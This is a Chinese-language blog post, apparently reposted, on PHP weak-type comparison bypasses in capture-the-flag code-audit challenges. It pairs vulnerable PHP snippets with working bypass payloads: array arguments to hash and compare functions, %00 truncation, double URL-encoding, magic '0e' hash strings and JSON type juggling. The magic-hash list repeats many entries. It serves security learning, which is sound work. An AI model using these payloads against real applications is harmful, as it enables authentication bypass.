代碼審計之弱類型繞過


前言

之前做過沒有總結,這幾天做題經常遇見弱類型繞過,寫篇博客總結一下(水一篇),嘻嘻。

提到php代碼繞過,必然會提起比較操作符,下面來談一談比較操作符=====,這兩種都可以比較兩個數字的大小,但是有很明顯的區別。

操作符 描述
== 把兩端變量類型轉換成相同的,再進行比較
=== 先判斷兩端變量類型是否相同,再進行比較

注意:在兩個相等的符號中,一個字符串與一個數字相比較時,字符串會轉換成數值。

1.extract變量覆蓋

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
	$content=trim(file_get_contents($flag));
	if($shiyan==$content) {
		echo'flag{xxx}';
	} else {
		echo'Oh.no';
	}
}
?>
函數 描述
extract() 函數從數組中將變量導入到當前的符號表

在第三行, 運用了extract()函數, 將GET方式獲得的變量導入到當前的符號表中,然后判斷$ flag和$ shiyan兩個變量的內容是否相等。

extract()函數導致這段代碼存在一個變量覆蓋漏洞,構造Payload

Payload:?flag=&shiyan=

$ flag和$ shiyan這兩個變量的內容都會被設置成空字符串。這樣,就滿足$shiyan == $content的條件,輸出flag。
在這里插入圖片描述

2.strcmp比較字符串

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
	if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小於 str2 返回 < 0; 如果 str1大於 str2返回 > 0;如果兩者相等,返回 0。
	//比較兩個字符串(區分大小寫)
	    die('Flag: '.$flag); 
    else
		print 'No';
}
?>
函數 用法 返回值
strcmp() strcmp(string1,string2) 若返回0,代表兩個字符串相等 ;若返回<0 ,代表string1 小於 string2;若返回>0,代表string1 大於 string2

對於傳入非字符串類型的數據的時候,strcmp函數會報錯,將return 0 ,但卻判定其相等了。
所以,strcmp()在比較字符串和數組的時候直接返回0,這樣通過把目標變量設置成數組就可以繞過該函數的限制。

Payload:?a[]=123 

在這里插入圖片描述

3.urldecode二次編碼繞過

<?php
if(eregi("hackerDJ",$_GET[id])) {
	echo("not allowed!");
	exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ") {
	echo "Access granted!";
	echo "flag";
}
?>
函數 描述
urldecode() 解碼已編碼的 URL 字符串

使用GET傳參時,瀏覽器就已經把hakerDJ進行了一次解碼了,然后又用了urldecode函數又再次進行了一次解碼。所以我們要將hakerDJ進行二次編碼

Payload: ?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

在這里插入圖片描述

4.md5()函數

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
	if ($_GET['username'] == $_GET['password'])
	      print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
	      die('Flag: '.$flag);
    else
	      print 'Invalid password';
}
?>
md5() 函數計算字符串的 MD5 散列
== 只需要等號兩邊的值是否相等。比如‘1’==1就成立,返回true
=== 需要全等號兩邊的值和類型全都相等才成立

md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。

Payload:?username[]=1&password[]=2

在這里插入圖片描述

5.數組返回NULL繞過

<?php
$flag = "flag";
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	     echo 'You password must be alphanumeric';
    else if (strpos ($_GET['password'], '--') !== FALSE)
	     die('Flag: ' . $flag);
    else
	     echo 'Invalid password';
}
?>
函數 描述
ereg 函數搜索由指定的字符串作為由模式指定的字符串,如果發現模式則返回true,否則返回false
strpos 函數查找字符串在另一字符串中第一次出現的位置。

第4行代碼,ereg函數會對傳入的password從a-z,A-Z,0-9 進行匹配,將你的密碼限制在這三種字符中。

方法一
strpos()需要匹配到--才能輸出flag,所以我們需要繞過strpos()函數。strpos()如果傳入數組,會返回NULL。

Payload: ?password[]=1

在這里插入圖片描述

方法二

搜索字母的字符是大小寫敏感的, 我們可以用%00來截斷,在%00之后的數值函數無法識別

Payload: ?password=1%00--

在這里插入圖片描述

6. 弱類型整數大小比較繞過

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336) {
	echo $flag;
函數 描述
is_numeric() 判斷變量是否為數字或數字字符串

傳入的值會被is_numeric函數進行檢測,如果為數字就直接輸出no numeric,傳參password=2000a既不是一個數字又大於1336,返回NULL,可以繞過。

Payload: ?password=2000a

在這里插入圖片描述

7. sha()函數比較繞過

http://123.206.87.240:9009/7.php

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password'])) {
	var_dump($_GET['name']);
	echo " ";
	var_dump($_GET['password']);
	var_dump(sha1($_GET['name']));
	var_dump(sha1($_GET['password']));
	if ($_GET['name'] == $_GET['password'])
	echo 'Your password can not be your name!'; 
else if (sha1($_GET['name']) === sha1($_GET['password']))
	die('Flag: '.$flag); else
	echo 'Invalid password.';
} else
echo 'Login first!';
?>
函數 描述

sha1()函數無法處理數組類型,通過構造數組,將報錯並返回false,使條件成立,這樣就繞過了sha1()函數,獲得flag

Payload: ?name[]=1&password[]=2

在這里插入圖片描述

8. md5加密相等繞過

http://123.206.87.240:9009/13.php

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)) {
	if ($a != 'QNKCDZO' && $md51 == $md52) {
		echo "flag{*}";
	} else {
		echo "false!!!";
	}
} else {
	echo "please input a";
}
?>

字符串QNKCDZO被md5加密后之后是前兩位為0e,然后我們找一個字符串的md5之后的結果也為e0xxx的就可以繞過。

Payload: ?a=s878926199a

在這里插入圖片描述

原理:

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,

所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。

以下字符串,md5哈希值都是0e開頭的:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

9. 十六進制與數字比較

http://123.206.87.240:9009/20.php

<?php
error_reporting(0);
function noother_says_correct($temp) {
	$flag = 'flag{test}';
	$one = ord('1');
	//ord — 返回字符的 ASCII 碼值
	$nine = ord('9');
	//ord — 返回字符的 ASCII 碼值
	$number = '3735929054';
	// Check all the input characters!
	for ($i = 0; $i < strlen($number); $i++) {
		// Disallow all the digits!
		$digit = ord($temp {$i});
		if ( ($digit >= $one) && ($digit <= $nine) ) {
			// Aha, digit not allowed!
			return "flase";
		}
	}
	if($number == $temp)
	return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

參數不能有1-9的數字,同時要求該參數值為3735929054,所以把值轉換成十六進制傳參。

Payload: ?password=0xdeadc0de

在這里插入圖片描述

10. ereg正則%00截斷

http://123.206.87.240:9009/5.php

<?php
$flag = "xxx";
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
		echo 'You password must be alphanumeric';
	} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
		if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出現的位置 {
			die('Flag: ' . $flag);
		} else {
			echo('have not been found');
		}
	} else {
		echo 'Invalid password';
	}
}
?>

傳入的值必須是數字或大小寫字符,長度小於8且大於9999999,且匹配到"-"才能輸出flag。

可以使用%00來截斷,當ereg函數讀到 %00的時候,就截止了。

Payload: ?password=1e8%00*-*

在這里插入圖片描述

11. strpos數組繞過

http://123.206.87.240:9009/15.php

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
	if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
	     echo '必須輸入數字才行'; 
	else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
	     die('Flag: '.$flag); 
	else
	     echo '騷年,繼續努力吧啊~';
}
?>

要求傳入的參數為數字並且包含字符串“#biubiubiu”,有點難搞。

可以通過數組繞過strposereg函數,遇到數組返回NULL,數值和類型相同。

Payload: ?ctf[]=1

在這里插入圖片描述

12. 數字驗證正則繞過

http://123.206.87.240:9009/21.php

<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']) {
	$password = $_POST['password'];
	if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表達式匹配 {
		echo 'flag';
		exit;
	}
	while (TRUE) {
		$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
		if (6 > preg_match_all($reg, $password, $arr))
		break;
		$c = 0;
		$ps = array('punct', 'digit', 'upper', 'lower');
		//[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
		foreach ($ps as $pt) {
			if (preg_match("/[[:$pt:]]+/", $password))
			$c += 1;
		}
		if ($c < 3) break;
		//>=3,必須包含四種類型三種與三種以上
		if ("42" == $password) 
              echo $flag; 
        else 
              echo 'Wrong password';
		exit;
	}
}
?>

代碼中涉及到的一些正則函數

正則匹配函數 描述 區別
preg_match 執行一個正則表達式匹配,匹配到則返回1,匹配不到則返回0 第一次匹配成功后就停止匹配
preg_match_all 執行一個全局正則表達式匹配,返回成功模式匹配的次數,並將匹配結果存儲到一個數組中 匹配到字符串結束為止

下面還有幾個正則匹配的字符:

正則匹配字符 描述 ASCII
[:graph:] 除空格,TAB外的所有字符 [\x21-\x7E]
[a-zA-Z0-9] 大小寫字母和數字 [a-zA-Z0-9]
[:alpha:] 大小寫字母 [a-zA-Z]
[:punct:] 任何標點符號 [!"#$%&’()*+,-./:;<=>?@[]^_`{} ~]
[:digit:] 任何數字 [0-9]
[:upper:] 任何大寫字母 [A-Z]
[:lower:] 任何小寫字母 [a-z]

代碼審計

請求方法必須為POST
1、正則匹配,[:graph:]為任意字符,要求password長度超過12
2、password中必須包含標點符號,數字,大寫字母,小寫字母,並且檢測次數要超過63、標點符號,數字,大寫字母,小寫字母,包含3種以上繞過
4、弱類型比較,42abc,強制轉換為數字

構造Payload,居然提示Wrong password

Payload: password=42BugKuctf.a

在這里插入圖片描述
仔細看了一下代碼,變量原來是flag,改一下Payload

Payload: flag=42BugKuctf.a

在這里插入圖片描述

這道題有點奇怪,隨便post一個值也能得到flag,小小腦袋有大大疑問。
在這里插入圖片描述

13.md4繞過

if ($_GET["a"] != hash("md4", $_GET["a"])) {
	echo "<br>";
	die('Theshy is locked');
}

這段代碼中get進來的參數a,使a=md4(a)才行。

百度一下md4繞過,發現可以通過科學計算法比較繞過。找一個值是一個科學計算法0e開頭的,其md4加密后也為0e開頭,弱類型比較繞過。

a md4(a)
0e251288019 0e874956163641961271069404332409
0e001233333333333334557778889 0e434041524824285414215559233446

Payload為:

?a=0e251288019?a=0e001233333333333334557778889

14.json繞過

 <?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="*********";
    if ($message->key == $key) {
        echo "flag";
    }
    else {
        echo "fail";
    }
}
else{
     echo "~~~~";
}
?>

輸入一個數組進行json解碼,解碼后的message與key值相同才會得到flag,使用弱類型進行繞過,key肯定是字符串,兩個等號時會轉化成同一類型再進行比較,直接構造一個0就可以相等了,通過0=="admin"這種形式繞過。

Payload: message={"key":0}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM